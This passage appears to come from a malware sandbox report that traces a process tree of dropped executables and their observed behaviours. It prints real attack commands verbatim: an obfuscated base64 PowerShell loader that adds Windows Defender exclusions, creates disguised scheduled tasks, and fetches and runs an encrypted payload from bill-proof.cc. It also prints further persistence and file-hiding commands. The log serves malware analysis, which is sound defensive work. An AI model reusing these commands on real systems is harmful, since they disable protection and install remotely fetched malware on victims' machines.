aQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAGIAaQBsAGwALQBwAHIAbwBvAGYALgBjAGMAOgA0ADQAMwAnACwAJABiAG8AZAB5ACkAOwAkAHIAaQB2AD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADAALgAuADEANQBdADsAJABlAG4AYwA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAxADYALgAuACgAJABkAGEAdABhAC4ATABlAG4AZwB0AGgALQAxACkAXQA7ACQAYQBlAHMALgBJAFYAPQAkAHIAaQB2ADsAJABkAGUAYwA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABlAG4AYwAsADAALAAkAGUAbgBjAC4ATABlAG4AZwB0AGgAKQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkALAAkAGQAZQBjACkAOwBDAG8AcAB5AC0ASQB0AGUAbQAgACgAJABwADEAIAArACAAKAAnAFwAcwAnACsAJwB2AGMAaABvACcAKwAnAHMAJwArACcAdAAuAGUAJwArACcAeAAnACsAJwBlACcAKQApACAAIgAkAHAAMgB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AOwA=7⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker8⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy8⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:648⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:648⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:648⤵
-
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force /target:computer8⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f8⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f8⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"8⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito6⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito6⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu6⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c "ping -n 3 127.0.0.1 >nul & del \"C:\Users\Admin\AppData\Local\e7b2acdd-5001-4ea0-bbe1-d2ca8fbe8892\background.exe\""5⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping -n 3 127.0.0.16⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\BootstrapperNew.exe"C:\Users\Admin\AppData\Local\Temp\Files\BootstrapperNew.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\center.exe"C:\Users\Admin\AppData\Local\Temp\Files\center.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CenterRun.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CenterRun.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Documents\seetrol\center\SeetrolCenter.exe"C:\Users\Admin\Documents\seetrol\center\SeetrolCenter.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- System policy modification
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\x834.exe"C:\Users\Admin\AppData\Local\Temp\Files\x834.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\sm.exe"C:\Users\Admin\AppData\Local\Temp\Files\sm.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SAMSUNG\USB Drivers\Setup.exe"C:\Users\Admin\AppData\Local\Temp\SAMSUNG\USB Drivers\\Setup.exe" -chk_inst_ui4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\SAMSUNG\USB Drivers\Setup.exe"C:\Users\Admin\AppData\Local\Temp\SAMSUNG\USB Drivers\\Setup.exe" -gui -p:254⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\VIolet.exe"C:\Users\Admin\AppData\Local\Temp\Files\VIolet.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ChromeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\Files\ChromeUpdate.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#vpnaxct#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\steamerx.exe"C:\Users\Admin\AppData\Local\Temp\Files\steamerx.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\hbvTmbP46IIEeHP1.exe"C:\Users\Admin\AppData\Local\Temp\Files\hbvTmbP46IIEeHP1.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\Files\STHealthBQ.exe"C:\Users\Admin\AppData\Local\Temp\Files\STHealthBQ.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\webplugin.exe"C:\Users\Admin\AppData\Local\Temp\Files\webplugin.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\TASKKILL.exeTASKKILL /F /IM WebActiveEXE.exe4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\TASKKILL.exeTASKKILL /F /IM TimeGridEXE.exe4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Program Files (x86)\webrec\WEB30\WebPlugin\WebActiveEXE.exe"C:\Program Files (x86)\webrec\WEB30\WebPlugin\WebActiveEXE.exe" /regserver4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
C:\Program Files (x86)\webrec\WEB30\WebPlugin\TimeGridEXE.exe"C:\Program Files (x86)\webrec\WEB30\WebPlugin\TimeGridEXE.exe" /regserver4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "atl.dll"4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Trojan.Malpack.Themida%20(Anti%20VM).exe"C:\Users\Admin\AppData\Local\Temp\Files\Trojan.Malpack.Themida%20(Anti%20VM).exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\Wbem\wmic.exe"wmic.exe" csproduct get uuid4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\s287.exe"C:\Users\Admin\AppData\Local\Temp\Files\s287.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\pEff5n2AEUPkLwZK\aKSIsdHVyVaJ.exeC:\Users\Admin\AppData\Local\Temp\pEff5n2AEUPkLwZK\aKSIsdHVyVaJ.exe 56604⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5684 -s 17685⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\d9G0WxyALdXB.exeC:\Users\Admin\AppData\Local\Temp\Files\d9G0WxyALdXB.exe 56604⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Yellow%20Pages%20Scraper.exe"C:\Users\Admin\AppData\Local\Temp\Files\Yellow%20Pages%20Scraper.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\setup.exe"C:\Users\Admin\AppData\Local\Temp\Files\setup.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\5.exe"C:\Users\Admin\AppData\Local\Temp\Files\5.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ShellHost.exe"C:\Users\Admin\AppData\Local\Temp\Files\ShellHost.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Ig5fk87qfmrr.bat" "5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp 650016⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost6⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"6⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2qrryiIHHaGR.bat" "7⤵
-
C:\Windows\system32\chcp.comchcp 650018⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost8⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"8⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f9⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EAXN3DQStYty.bat" "9⤵
-
C:\Windows\system32\chcp.comchcp 6500110⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost10⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"10⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f11⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\eeZ7tiu3C9pd.bat" "11⤵
-
C:\Windows\system32\chcp.comchcp 6500112⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost12⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"12⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f13⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lhUX7tIaNNlI.bat" "13⤵
-
C:\Windows\system32\chcp.comchcp 6500114⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"14⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f15⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\uRLYInWxIdqA.bat" "15⤵
-
C:\Windows\system32\chcp.comchcp 6500116⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost16⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"16⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f17⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\jeAEGzvYlL6f.bat" "17⤵
-
C:\Windows\system32\chcp.comchcp 6500118⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost18⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"18⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f19⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\OSJ4HT0JZOZn.bat" "19⤵
-
C:\Windows\system32\chcp.comchcp 6500120⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost20⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"20⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f21⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\J2UP9fBvgzv2.bat" "21⤵
